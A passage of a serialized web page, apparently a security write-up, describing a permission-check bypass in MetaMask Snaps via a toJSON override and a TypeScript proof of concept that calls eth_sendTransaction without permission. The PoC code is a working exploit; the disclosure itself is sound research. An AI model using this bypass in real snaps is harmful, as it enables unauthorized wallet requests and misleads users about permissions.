propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[52207],{"type":25,"tag":264,"props":52208,"children":52209},{"__ignoreMap":7},[52210,52275,52302,52327,52382,52390,52437,52453,52460,52477,52484,52491],{"type":25,"tag":271,"props":52211,"children":52212},{"class":13593,"line":13594},[52213,52217,52222,52227,52231,52236,52240,52245,52249,52253,52258,52263,52267,52271],{"type":25,"tag":271,"props":52214,"children":52215},{"style":16171},[52216],{"type":30,"value":51319},{"type":25,"tag":271,"props":52218,"children":52219},{"style":14289},[52220],{"type":30,"value":52221}," const",{"type":25,"tag":271,"props":52223,"children":52224},{"style":13598},[52225],{"type":30,"value":52226}," JsonStruct",{"type":25,"tag":271,"props":52228,"children":52229},{"style":13603},[52230],{"type":30,"value":16155},{"type":25,"tag":271,"props":52232,"children":52233},{"style":13620},[52234],{"type":30,"value":52235}," coerce",{"type":25,"tag":271,"props":52237,"children":52238},{"style":13625},[52239],{"type":30,"value":394},{"type":25,"tag":271,"props":52241,"children":52242},{"style":13598},[52243],{"type":30,"value":52244},"UnsafeJsonStruct",{"type":25,"tag":271,"props":52246,"children":52247},{"style":13625},[52248],{"type":30,"value":44},{"type":25,"tag":271,"props":52250,"children":52251},{"style":13620},[52252],{"type":30,"value":29835},{"type":25,"tag":271,"props":52254,"children":52255},{"style":13625},[52256],{"type":30,"value":52257},"(), (",{"type":25,"tag":271,"props":52259,"children":52260},{"style":13598},[52261],{"type":30,"value":52262},"value",{"type":25,"tag":271,"props":52264,"children":52265},{"style":13625},[52266],{"type":30,"value":14406},{"type":25,"tag":271,"props":52268,"children":52269},{"style":14289},[52270],{"type":30,"value":27943},{"type":25,"tag":271,"props":52272,"children":52273},{"style":13625},[52274],{"type":30,"value":16431},{"type":25,"tag":271,"props":52276,"children":52277},{"class":13593,"line":11641},[52278,52282,52286,52290,52294,52298],{"type":25,"tag":271,"props":52279,"children":52280},{"style":13620},[52281],{"type":30,"value":51670},{"type":25,"tag":271,"props":52283,"children":52284},{"style":13625},[52285],{"type":30,"value":394},{"type":25,"tag":271,"props":52287,"children":52288},{"style":13598},[52289],{"type":30,"value":52262},{"type":25,"tag":271,"props":52291,"children":52292},{"style":13625},[52293],{"type":30,"value":44},{"type":25,"tag":271,"props":52295,"children":52296},{"style":13598},[52297],{"type":30,"value":52244},{"type":25,"tag":271,"props":52299,"children":52300},{"style":13625},[52301],{"type":30,"value":13665},{"type":25,"tag":271,"props":52303,"children":52304},{"class":13593,"line":14354},[52305,52310,52314,52318,52323],{"type":25,"tag":271,"props":52306,"children":52307},{"style":16171},[52308],{"type":30,"value":52309},"  return",{"type":25,"tag":271,"props":52311,"children":52312},{"style":13598},[52313],{"type":30,"value":50639},{"type":25,"tag":271,"props":52315,"children":52316},{"style":13625},[52317],{"type":30,"value":1860},{"type":25,"tag":271,"props":52319,"children":52320},{"style":13620},[52321],{"type":30,"value":52322},"parse",{"type":25,"tag":271,"props":52324,"children":52325},{"style":13625},[52326],{"type":30,"value":16609},{"type":25,"tag":271,"props":52328,"children":52329},{"class":13593,"line":14391},[52330,52335,52339,52344,52348,52352,52356,52361,52365,52370,52374,52378],{"type":25,"tag":271,"props":52331,"children":52332},{"style":13598},[52333],{"type":30,"value":52334},"    JSON",{"type":25,"tag":271,"props":52336,"children":52337},{"style":13625},[52338],{"type":30,"value":1860},{"type":25,"tag":271,"props":52340,"children":52341},{"style":13620},[52342],{"type":30,"value":52343},"stringify",{"type":25,"tag":271,"props":52345,"children":52346},{"style":13625},[52347],{"type":30,"value":394},{"type":25,"tag":271,"props":52349,"children":52350},{"style":13598},[52351],{"type":30,"value":52262},{"type":25,"tag":271,"props":52353,"children":52354},{"style":13625},[52355],{"type":30,"value":21939},{"type":25,"tag":271,"props":52357,"children":52358},{"style":13598},[52359],{"type":30,"value":52360},"propKey",{"type":25,"tag":271,"props":52362,"children":52363},{"style":13625},[52364],{"type":30,"value":44},{"type":25,"tag":271,"props":52366,"children":52367},{"style":13598},[52368],{"type":30,"value":52369},"propValue",{"type":25,"tag":271,"props":52371,"children":52372},{"style":13625},[52373],{"type":30,"value":14406},{"type":25,"tag":271,"props":52375,"children":52376},{"style":14289},[52377],{"type":30,"value":27943},{"type":25,"tag":271,"props":52379,"children":52380},{"style":13625},[52381],{"type":30,"value":16431},{"type":25,"tag":271,"props":52383,"children":52384},{"class":13593,"line":14400},[52385],{"type":25,"tag":271,"props":52386,"children":52387},{"style":14385},[52388],{"type":30,"value":52389},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":25,"tag":271,"props":52391,"children":52392},{"class":13593,"line":16406},[52393,52398,52402,52406,52410,52415,52419,52424,52428,52433],{"type":25,"tag":271,"props":52394,"children":52395},{"style":16171},[52396],{"type":30,"value":52397},"      if",{"type":25,"tag":271,"props":52399,"children":52400},{"style":13625},[52401],{"type":30,"value":16213},{"type":25,"tag":271,"props":52403,"children":52404},{"style":13598},[52405],{"type":30,"value":52360},{"type":25,"tag":271,"props":52407,"children":52408},{"style":13603},[52409],{"type":30,"value":44534},{"type":25,"tag":271,"props":52411,"children":52412},{"style":17388},[52413],{"type":30,"value":52414}," '__proto__'",{"type":25,"tag":271,"props":52416,"children":52417},{"style":13603},[52418],{"type":30,"value":36807},{"type":25,"tag":271,"props":52420,"children":52421},{"style":13598},[52422],{"type":30,"value":52423}," propKey",{"type":25,"tag":271,"props":52425,"children":52426},{"style":13603},[52427],{"type":30,"value":44534},{"type":25,"tag":271,"props":52429,"children":52430},{"style":17388},[52431],{"type":30,"value":52432}," 'constructor'",{"type":25,"tag":271,"props":52434,"children":52435},{"style":13625},[52436],{"type":30,"value":27925},{"type":25,"tag":271,"props":52438,"children":52439},{"class":13593,"line":16434},[52440,52444,52449],{"type":25,"tag":271,"props":52441,"children":52442},{"style":16171},[52443],{"type":30,"value":28866},{"type":25,"tag":271,"props":52445,"children":52446},{"style":14289},[52447],{"type":30,"value":52448}," undefined",{"type":25,"tag":271,"props":52450,"children":52451},{"style":13625},[52452],{"type":30,"value":16165},{"type":25,"tag":271,"props":52454,"children":52455},{"class":13593,"line":16447},[52456],{"type":25,"tag":271,"props":52457,"children":52458},{"style":13625},[52459],{"type":30,"value":25789},{"type":25,"tag":271,"props":52461,"children":52462},{"class":13593,"line":16465},[52463,52468,52473],{"type":25,"tag":271,"props":52464,"children":52465},{"style":16171},[52466],{"type":30,"value":52467},"      return",{"type":25,"tag":271,"props":52469,"children":52470},{"style":13598},[52471],{"type":30,"value":52472}," propValue",{"type":25,"tag":271,"props":52474,"children":52475},{"style":13625},[52476],{"type":30,"value":16165},{"type":25,"tag":271,"props":52478,"children":52479},{"class":13593,"line":16486},[52480],{"type":25,"tag":271,"props":52481,"children":52482},{"style":13625},[52483],{"type":30,"value":51655},{"type":25,"tag":271,"props":52485,"children":52486},{"class":13593,"line":16495},[52487],{"type":25,"tag":271,"props":52488,"children":52489},{"style":13625},[52490],{"type":30,"value":51522},{"type":25,"tag":271,"props":52492,"children":52493},{"class":13593,"line":16744},[52494],{"type":25,"tag":271,"props":52495,"children":52496},{"style":13625},[52497],{"type":30,"value":48449},{"type":25,"tag":26,"props":52499,"children":52500},{},[52501,52503,52509,52511,52516,52518,52524,52526,52532],{"type":30,"value":52502},"The function performs a ",{"type":25,"tag":264,"props":52504,"children":52506},{"className":52505},[],[52507],{"type":30,"value":52508},"JSON.parse(JSON.stringify(value))",{"type":30,"value":52510}," in the argument sent to ",{"type":25,"tag":264,"props":52512,"children":52514},{"className":52513},[],[52515],{"type":30,"value":52186},{"type":30,"value":52517},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":25,"tag":264,"props":52519,"children":52521},{"className":52520},[],[52522],{"type":30,"value":52523},"toJSON",{"type":30,"value":52525}," function in a legit ",{"type":25,"tag":264,"props":52527,"children":52529},{"className":52528},[],[52530],{"type":30,"value":52531},"snap.request",{"type":30,"value":52533}," argument:",{"type":25,"tag":661,"props":52535,"children":52536},{},[52537,52542,52547],{"type":25,"tag":112,"props":52538,"children":52539},{},[52540],{"type":30,"value":52541},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":25,"tag":112,"props":52543,"children":52544},{},[52545],{"type":30,"value":52546},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":25,"tag":112,"props":52548,"children":52549},{},[52550],{"type":30,"value":52551},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":25,"tag":26,"props":52553,"children":52554},{},[52555],{"type":30,"value":52556},"The assertion bypass can be useful on two occasions:",{"type":25,"tag":661,"props":52558,"children":52559},{},[52560,52565],{"type":25,"tag":112,"props":52561,"children":52562},{},[52563],{"type":30,"value":52564},"forward blocked RPC methods",{"type":25,"tag":112,"props":52566,"children":52567},{},[52568,52570,52575,52577,52583,52585,52590],{"type":30,"value":52569},"Making requests in ",{"type":25,"tag":264,"props":52571,"children":52573},{"className":52572},[],[52574],{"type":30,"value":52531},{"type":30,"value":52576}," that were only supposed to be done within ",{"type":25,"tag":264,"props":52578,"children":52580},{"className":52579},[],[52581],{"type":30,"value":52582},"ethereum.request",{"type":30,"value":52584}," (with ",{"type":25,"tag":264,"props":52586,"children":52588},{"className":52587},[],[52589],{"type":30,"value":51759},{"type":30,"value":52591}," enabled).",{"type":25,"tag":26,"props":52593,"children":52594},{},[52595],{"type":30,"value":52596},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":25,"tag":247,"props":52598,"children":52599},{"id":18793},[52600],{"type":30,"value":18796},{"type":25,"tag":26,"props":52602,"children":52603},{},[52604],{"type":30,"value":52605},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":25,"tag":26,"props":52607,"children":52608},{},[52609],{"type":25,"tag":698,"props":52610,"children":52612},{"alt":7,"src":52611},"/posts/metamask-snaps/note.png",[],{"type":25,"tag":247,"props":52614,"children":52616},{"id":52615},"proof-of-concept",[52617],{"type":30,"value":47940},{"type":25,"tag":26,"props":52619,"children":52620},{},[52621,52623,52628,52630,52635,52637,52643],{"type":30,"value":52622},"To demonstrate the issue, we created a snap without the ",{"type":25,"tag":264,"props":52624,"children":52626},{"className":52625},[],[52627],{"type":30,"value":51759},{"type":30,"value":52629}," permission, and used the ",{"type":25,"tag":264,"props":52631,"children":52633},{"className":52632},[],[52634],{"type":30,"value":51288},{"type":30,"value":52636}," interface to call ",{"type":25,"tag":264,"props":52638,"children":52640},{"className":52639},[],[52641],{"type":30,"value":52642},"eth_sendTransaction",{"type":30,"value":52644},". According to the documentation, this shouldn't be possible:",{"type":25,"tag":7764,"props":52646,"children":52648},{"className":48725,"code":52647,"language":48727,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[52649],{"type":25,"tag":264,"props":52650,"children":52651},{"__ignoreMap":7},[52652,52685,52692,52699,52716,52745,52752,52777,52784,52816,52827,52844,52857,52864,52871,52878,52910,52917,52924,52931,52947,52974,52981,53004,53011,53042,53053,53069,53081,53102,53117,53134,53142,53149,53156,53163,53194,53201,53208,53268,53275,53303,53320,53335,53351,53366,53378,53408,53415],{"type":25,"tag":271,"props":52653,"children":52654},{"class":13593,"line":13594},[52655,52659,52663,52668,52672,52676,52681],{"type":25,"tag":271,"props":52656,"children":52657},{"style":16171},[52658],{"type":30,"value":32604},{"type":25,"tag":271,"props":52660,"children":52661},{"style":13625},[52662],{"type":30,"value":22709},{"type":25,"tag":271,"props":52664,"children":52665},{"style":13598},[52666],{"type":30,"value":52667},"OnRpcRequestHandler",{"type":25,"tag":271,"props":52669,"children":52670},{"style":13625},[52671],{"type":30,"value":49314},{"type":25,"tag":271,"props":52673,"children":52674},{"style":16171},[52675],{"type":30,"value":32594},{"type":25,"tag":271,"props":52677,"children":52678},{"style":17388},[52679],{"type":30,"value":52680}," '@metamask/snaps-types'",{"type":25,"tag":271,"props":52682,"children":52683},{"style":13625},[52684],{"type":30,"value":16165},{"type":25,"tag":271,"props":52686,"children":52687},{"class":13593,"line":11641},[52688],{"type":25,"tag":271,"props":52689,"children":52690},{"emptyLinePlaceholder":18},[52691],{"type":30,"value":16829},{"type":25,"tag":271,"props":52693,"children":52694},{"class":13593,"line":14354},[52695],{"type":25,"tag":271,"props":52696,"children":52697},{"emptyLinePlaceholder":18},[52698],{"type":30,"value":16829},{"type":25,"tag":271,"props":52700,"children":52701},{"class":13593,"line":14391},[52702,52706,52711],{"type":25,"tag":271,"props":52703,"children":52704},{"style":14289},[52705],{"type":30,"value":44489},{"type":25,"tag":271,"props":52707,"children":52708},{"style":13620},[52709],{"type":30,"value":52710}," jsonExploit",{"type":25,"tag":271,"props":52712,"children":52713},{"style":13625},[52714],{"type":30,"value":52715},"(){\n",{"type":25,"tag":271,"props":52717,"children":52718},{"class":13593,"line":14400},[52719,52723,52727,52731,52736,52740],{"type":25,"tag":271,"props":52720,"children":52721},{"style":14289},[52722],{"type":30,"value":20977},{"type":25,"tag":271,"props":52724,"children":52725},{"style":13598},[52726],{"type":30,"value":32186},{"type":25,"tag":271,"props":52728,"children":52729},{"style":13603},[52730],{"type":30,"value":16155},{"type":25,"tag":271,"props":52732,"children":52733},{"style":13625},[52734],{"type":30,"value":52735}," [] ",{"type":25,"tag":271,"props":52737,"children":52738},{"style":16171},[52739],{"type":30,"value":21962},{"type":25,"tag":271,"props":52741,"children":52742},{"style":13609},[52743],{"type":30,"value":52744}," any\n",{"type":25,"tag":271,"props":52746,"children":52747},{"class":13593,"line":16406},[52748],{"type":25,"tag":271,"props":52749,"children":52750},{"emptyLinePlaceholder":18},[52751],{"type":30,"value":16829},{"type":25,"tag":271,"props":52753,"children":52754},{"class":13593,"line":16434},[52755,52760,52764,52768,52772],{"type":25,"tag":271,"props":52756,"children":52757},{"style":13598},[52758],{"type":30,"value":52759},"  x",{"type":25,"tag":271,"props":52761,"children":52762},{"style":13625},[52763],{"type":30,"value":1860},{"type":25,"tag":271,"props":52765,"children":52766},{"style":13598},[52767],{"type":30,"value":51423},{"type":25,"tag":271,"props":52769,"children":52770},{"style":13603},[52771],{"type":30,"value":16155},{"type":25,"tag":271,"props":52773,"children":52774},{"style":17388},[52775],{"type":30,"value":52776}," \"snap_dialog\"\n",{"type":25,"tag":271,"props":52778,"children":52779},{"class":13593,"line":16447},[52780],{"type":25,"tag":271,"props":52781,"children":52782},{"emptyLinePlaceholder":18},[52783],{"type":30,"value":16829},{"type":25,"tag":271,"props":52785,"children":52786},{"class":13593,"line":16465},[52787,52791,52795,52799,52803,52808,52812],{"type":25,"tag":271,"props":52788,"children":52789},{"style":13598},[52790],{"type":30,"value":52759},{"type":25,"tag":271,"props":52792,"children":52793},{"style":13625},[52794],{"type":30,"value":1860},{"type":25,"tag":271,"props":52796,"children":52797},{"style":13620},[52798],{"type":30,"value":52523},{"type":25,"tag":271,"props":52800,"children":52801},{"style":13603},[52802],{"type":30,"value":16155},{"type":25,"tag":271,"props":52804,"children":52805},{"style":13625},[52806],{"type":30,"value":52807}," () ",{"type":25,"tag":271,"props":52809,"children":52810},{"style":14289},[52811],{"type":30,"value":27943},{"type":25,"tag":271,"props":52813,"children":52814},{"style":13625},[52815],{"type":30,"value":16431},{"type":25,"tag":271,"props":52817,"children":52818},{"class":13593,"line":16486},[52819,52823],{"type":25,"tag":271,"props":52820,"children":52821},{"style":16171},[52822],{"type":30,"value":30111},{"type":25,"tag":271,"props":52824,"children":52825},{"style":13625},[52826],{"type":30,"value":16431},{"type":25,"tag":271,"props":52828,"children":52829},{"class":13593,"line":16495},[52830,52835,52840],{"type":25,"tag":271,"props":52831,"children":52832},{"style":13598},[52833],{"type":30,"value":52834},"      method:",{"type":25,"tag":271,"props":52836,"children":52837},{"style":17388},[52838],{"type":30,"value":52839}," \"eth_requestAccounts\"",{"type":25,"tag":271,"props":52841,"children":52842},{"style":13625},[52843],{"type":30,"value":14351},{"type":25,"tag":271,"props":52845,"children":52846},{"class":13593,"line":16744},[52847,52852],{"type":25,"tag":271,"props":52848,"children":52849},{"style":13598},[52850],{"type":30,"value":52851},"      params:",{"type":25,"tag":271,"props":52853,"children":52854},{"style":13625},[52855],{"type":30,"value":52856}," []\n",{"type":25,"tag":271,"props":52858,"children":52859},{"class":13593,"line":16761},[52860],{"type":25,"tag":271,"props":52861,"children":52862},{"style":13625},[52863],{"type":30,"value":16501},{"type":25,"tag":271,"props":52865,"children":52866},{"class":13593,"line":16778},[52867],{"type":25,"tag":271,"props":52868,"children":52869},{"style":13625},[52870],{"type":30,"value":19003},{"type":25,"tag":271,"props":52872,"children":52873},{"class":13593,"line":16791},[52874],{"type":25,"tag":271,"props":52875,"children":52876},{"emptyLinePlaceholder":18},[52877],{"type":30,"value":16829},{"type":25,"tag":271,"props":52879,"children":52880},{"class":13593,"line":16800},[52881,52885,52890,52894,52898,52902,52906],{"type":25,"tag":271,"props":52882,"children":52883},{"style":16171},[52884],{"type":30,"value":52309},{"type":25,"tag":271,"props":52886,"children":52887},{"style":13598},[52888],{"type":30,"value":52889}," snap",{"type":25,"tag":271,"props":52891,"children":52892},{"style":13625},[52893],{"type":30,"value":1860},{"type":25,"tag":271,"props":52895,"children":52896},{"style":13620},[52897],{"type":30,"value":44605},{"type":25,"tag":271,"props":52899,"children":52900},{"style":13625},[52901],{"type":30,"value":394},{"type":25,"tag":271,"props":52903,"children":52904},{"style":13598},[52905],{"type":30,"value":1136},{"type":25,"tag":271,"props":52907,"children":52908},{"style":13625},[52909],{"type":30,"value":16299},{"type":25,"tag":271,"props":52911,"children":52912},{"class":13593,"line":16823},[52913],{"type":25,"tag":271,"props":52914,"children":52915},{"emptyLinePlaceholder":18},[52916],{"type":30,"value":16829},{"type":25,"tag":271,"props":52918,"children":52919},{"class":13593,"line":16832},[52920],{"type":25,"tag":271,"props":52921,"children":52922},{"style":13625},[52923],{"type":30,"value":17058},{"type":25,"tag":271,"props":52925,"children":52926},{"class":13593,"line":16841},[52927],{"type":25,"tag":271,"props":52928,"children":52929},{"emptyLinePlaceholder":18},[52930],{"type":30,"value":16829},{"type":25,"tag":271,"props":52932,"children":52933},{"class":13593,"line":16907},[52934,52938,52943],{"type":25,"tag":271,"props":52935,"children":52936},{"style":14289},[52937],{"type":30,"value":44489},{"type":25,"tag":271,"props":52939,"children":52940},{"style":13620},[52941],{"type":30,"value":52942}," transactionExploit",{"type":25,"tag":271,"props":52944,"children":52945},{"style":13625},[52946],{"type":30,"value":52715},{"type":25,"tag":271,"props":52948,"children":52949},{"class":13593,"line":16915},[52950,52954,52958,52962,52966,52970],{"type":25,"tag":271,"props":52951,"children":52952},{"style":14289},[52953],{"type":30,"value":20977},{"type":25,"tag":271,"props":52955,"children":52956},{"style":13598},[52957],{"type":30,"value":32186},{"type":25,"tag":271,"props":52959,"children":52960},{"style":13603},[52961],{"type":30,"value":16155},{"type":25,"tag":271,"props":52963,"children":52964},{"style":13625},[52965],{"type":30,"value":52735},{"type":25,"tag":271,"props":52967,"children":52968},{"style":16171},[52969],{"type":30,"value":21962},{"type":25,"tag":271,"props":52971,"children":52972},{"style":13609},[52973],{"type":30,"value":52744},{"type":25,"tag":271,"props":52975,"children":52976},{"class":13593,"line":16945},[52977],{"type":25,"tag":271,"props":52978,"children":52979},{"emptyLinePlaceholder":18},[52980],{"type":30,"value":16829},{"type":25,"tag":271,"props":52982,"children":52983},{"class":13593,"line":16953},[52984,52988,52992,52996,53000],{"type":25,"tag":271,"props":52985,"children":52986},{"style":13598},[52987],{"type":30,"value":52759},{"type":25,"tag":271,"props":52989,"children":52990},{"style":13625},[52991],{"type":30,"value":1860},{"type":25,"tag":271,"props":52993,"children":52994},{"style":13598},[52995],{"type":30,"value":51423},{"type":25,"tag":271,"props":52997,"children":52998},{"style":13603},[52999],{"type":30,"value":16155},{"type":25,"tag":271,"props":53001,"children":53002},{"style":17388},[53003],{"type":30,"value":52776},{"type":25,"tag":271,"props":53005,"children":53006},{"class":13593,"line":16984},[53007],{"type":25,"tag":271,"props":53008,"children":53009},{"emptyLinePlaceholder":18},[53010],{"type":30,"value":16829},{"type":25,"tag":271,"props":53012,"children":53013},{"class":13593,"line":16992},[53014,53018,53022,53026,53030,53034,53038],{"type":25,"tag":271,"props":53015,"children":53016},{"style":13598},[53017],{"type":30,"value":52759},{"type":25,"tag":271,"props":53019,"children":53020},{"style":13625},[53021],{"type":30,"value":1860},{"type":25,"tag":271,"props":53023,"children":53024},{"style":13620},[53025],{"type":30,"value":52523},{"type":25,"tag":271,"props":53027,"children":53028},{"style":13603},[53029],{"type":30,"value":16155},{"type":25,"tag":271,"props":53031,"children":53032},{"style":13625},[53033],{"type":30,"value":52807},{"type":25,"tag":271,"props":53035,"children":53036},{"style":14289},[53037],{"type":30,"value":27943},{"type":25,"tag":271,"props":53039,"children":53040},{"style":13625},[53041],{"type":30,"value":16431},{"type":25,"tag":271,"props":53043,"children":53044},{"class":13593,"line":17052},[53045,53049],{"type":25,"tag":271,"props":53046,"children":53047},{"style":16171},[53048],{"type":30,"value":30111},{"type":25,"tag":271,"props":53050,"children":53051},{"style":13625},[53052],{"type":30,"value":16431},{"type":25,"tag":271,"props":53054,"children":53055},{"class":13593,"line":22168},[53056,53060,53065],{"type":25,"tag":271,"props":53057,"children":53058},{"style":13598},[53059],{"type":30,"value":52834},{"type":25,"tag":271,"props":53061,"children":53062},{"style":17388},[53063],{"type":30,"value":53064}," \"eth_sendTransaction\"",{"type":25,"tag":271,"props":53066,"children":53067},{"style":13625},[53068],{"type":30,"value":14351},{"type":25,"tag":271,"props":53070,"children":53071},{"class":13593,"line":22186},[53072,53076],{"type":25,"tag":271,"props":53073,"children":53074},{"style":13598},[53075],{"type":30,"value":52851},{"type":25,"tag":271,"props":53077,"children":53078},{"style":13625},[53079],{"type":30,"value":53080}," [{\n",{"type":25,"tag":271,"props":53082,"children":53083},{"class":13593,"line":22231},[53084,53088,53093,53097],{"type":25,"tag":271,"props":53085,"children":53086},{"style":13598},[53087],{"type":30,"value":45177},{"type":25,"tag":271,"props":53089,"children":53090},{"style":17388},[53091],{"type":30,"value":53092}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":25,"tag":271,"props":53094,"children":53095},{"style":13625},[53096],{"type":30,"value":44},{"type":25,"tag":271,"props":53098,"children":53099},{"style":14385},[53100],{"type":30,"value":53101},"// change this to your address\n",{"type":25,"tag":271,"props":53103,"children":53104},{"class":13593,"line":22337},[53105,53109,53113],{"type":25,"tag":271,"props":53106,"children":53107},{"style":13598},[53108],{"type":30,"value":45193},{"type":25,"tag":271,"props":53110,"children":53111},{"style":17388},[53112],{"type":30,"value":53092},{"type":25,"tag":271,"props":53114,"children":53115},{"style":13625},[53116],{"type":30,"value":14351},{"type":25,"tag":271,"props":53118,"children":53119},{"class":13593,"line":36608},[53120,53125,53130],{"type":25,"tag":271,"props":53121,"children":53122},{"style":13598},[53123],{"type":30,"value":53124},"        value:",{"type":25,"tag":271,"props":53126,"children":53127},{"style":17388},[53128],{"type":30,"value":53129}," \"0x1\"",{"type":25,"tag":271,"props":53131,"children":53132},{"style":13625},[53133],{"type":30,"value":14351},{"type":25,"tag":271,"props":53135,"children":53136},{"class":13593,"line":36643},[53137],{"type":25,"tag":271,"props":53138,"children":53139},{"style":13625},[53140],{"type":30,"value":53141},"      }]\n",{"type":25,"tag":271,"props":53143,"children":53144},{"class":13593,"line":36651},[53145],{"type":25,"tag":271,"props":53146,"children":53147},{"style":13625},[53148],{"type":30,"value":16501},{"type":25,"tag":271,"props":53150,"children":53151},{"class":13593,"line":36659},[53152],{"type":25,"tag":271,"props":53153,"children":53154},{"style":13625},[53155],{"type":30,"value":19003},{"type":25,"tag":271,"props":53157,"children":53158},{"class":13593,"line":36668},[53159],{"type":25,"tag":271,"props":53160,"children":53161},{"emptyLinePlaceholder":18},[53162],{"type":30,"value":16829},{"type":25,"tag":271,"props":53164,"children":53165},{"class":13593,"line":36710},[53166,53170,53174,53178,53182,53186,53190],{"type":25,"tag":271,"props":53167,"children":53168},{"style":16171},[53169],{"type":30,"value":52309},{"type":25,"tag":271,"props":53171,"children":53172},{"style":13598},[53173],{"type":30,"value":52889},{"type":25,"tag":271,"props":53175,"children":53176},{"style":13625},[53177],{"type":30,"value":1860},{"type":25,"tag":271,"props":53179,"children":53180},{"style":13620},[53181],{"type":30,"value":44605},{"type":25,"tag":271,"props":53183,"children":53184},{"style":13625},[53185],{"type":30,"value":394},{"type":25,"tag":271,"props":53187,"children":53188},{"style":13598},[53189],{"type":30,"value":1136},{"type":25,"tag":271,"props":53191,"children":53192},{"style":13625},[53193],{"type":30,"value":13665},{"type":25,"tag":271,"props":53195,"children":53196},{"class":13593,"line":36743},[53197],{"type":25,"tag":271,"props":53198,"children":53199},{"style":13625},[53200],{"type":30,"value":17058},{"type":25,"tag":271,"props":53202,"children":53203},{"class":13593,"line":36751},[53204],{"type":25,"tag":271,"props":53205,"children":53206},{"emptyLinePlaceholder":18},[53207],{"type":30,"value":16829},{"type":25,"tag":271,"props":53209,"children":53210},{"class":13593,"line":36759},[53211,53215,53219,53224,53228,53233,53237,53242,53247,53251,53255,53260,53264],{"type":25,"tag":271,"props":53212,"children":53213},{"style":16171},[53214],{"type":30,"value":51319},{"type":25,"tag":271,"props":53216,"children":53217},{"style":14289},[53218],{"type":30,"value":52221},{"type":25,"tag":271,"props":53220,"children":53221},{"style":13620},[53222],{"type":30,"value":53223}," onRpcRequest",{"type":25,"tag":271,"props":53225,"children":53226},{"style":13603},[53227],{"type":30,"value":359},{"type":25,"tag":271,"props":53229,"children":53230},{"style":13609},[53231],{"type":30,"value":53232}," OnRpcRequestHandler",{"type":25,"tag":271,"props":53234,"children":53235},{"style":13603},[53236],{"type":30,"value":16155},{"type":25,"tag":271,"props":53238,"children":53239},{"style":13625},[53240],{"type":30,"value":53241}," ({ ",{"type":25,"tag":271,"props":53243,"children":53244},{"style":13598},[53245],{"type":30,"value":53246},"origin",{"type":25,"tag":271,"props":53248,"children":53249},{"style":13625},[53250],{"type":30,"value":44},{"type":25,"tag":271,"props":53252,"children":53253},{"style":13598},[53254],{"type":30,"value":44605},{"type":25,"tag":271,"props":53256,"children":53257},{"style":13625},[53258],{"type":30,"value":53259}," }) ",{"type":25,"tag":271,"props":53261,"children":53262},{"style":14289},[53263],{"type":30,"value":27943},{"type":25,"tag":271,"props":53265,"children":53266},{"style":13625},[53267],{"type":30,"value":16431},{"type":25,"tag":271,"props":53269,"children":53270},{"class":13593,"line":36768},[53271],{"type":25,"tag":271,"props":53272,"children":53273},{"emptyLinePlaceholder":18},[53274],{"type":30,"value":16829},{"type":25,"tag":271,"props":53276,"children":53277},{"class":13593,"line":36844},[53278,53283,53287,53291,53295,53299],{"type":25,"tag":271,"props":53279,"children":53280},{"style":16171},[53281],{"type":30,"value":53282},"  switch",{"type":25,"tag":271,"props":53284,"children":53285},{"style":13625},[53286],{"type":30,"value":16213},{"type":25,"tag":271,"props":53288,"children":53289},{"style":13598},[53290],{"type":30,"value":44605},{"type":25,"tag":271,"props":53292,"children":53293},{"style":13625},[53294],{"type":30,"value":1860},{"type":25,"tag":271,"props":53296,"children":53297},{"style":13598},[53298],{"type":30,"value":51423},{"type":25,"tag":271,"props":53300,"children":53301},{"style":13625},[53302],{"type":30,"value":27925},{"type":25,"tag":271,"props":53304,"children":53305},{"class":13593,"line":36877},[53306,53311,53316],{"type":25,"tag":271,"props":53307,"children":53308},{"style":16171},[53309],{"type":30,"value":53310},"    case",{"type":25,"tag":271,"props":53312,"children":53313},{"style":17388},[53314],{"type":30,"value":53315}," 'json'",{"type":25,"tag":271,"props":53317,"children":53318},{"style":13625},[53319],{"type":30,"value":18699},{"type":25,"tag":271,"props":53321,"children":53322},{"class":13593,"line":36885},[53323,53327,53331],{"type":25,"tag":271,"props":53324,"children":53325},{"style":16171},[53326],{"type":30,"value":52467},{"type":25,"tag":271,"props":53328,"children":53329},{"style":13620},[53330],{"type":30,"value":52710},{"type":25,"tag":271,"props":53332,"children":53333},{"style":13625},[53334],{"type":30,"value":16820},{"type":25,"tag":271,"props":53336,"children":53337},{"class":13593,"line":36893},[53338,53342,53347],{"type":25,"tag":271,"props":53339,"children":53340},{"style":16171},[53341],{"type":30,"value":53310},{"type":25,"tag":271,"props":53343,"children":53344},{"style":17388},[53345],{"type":30,"value":53346}," 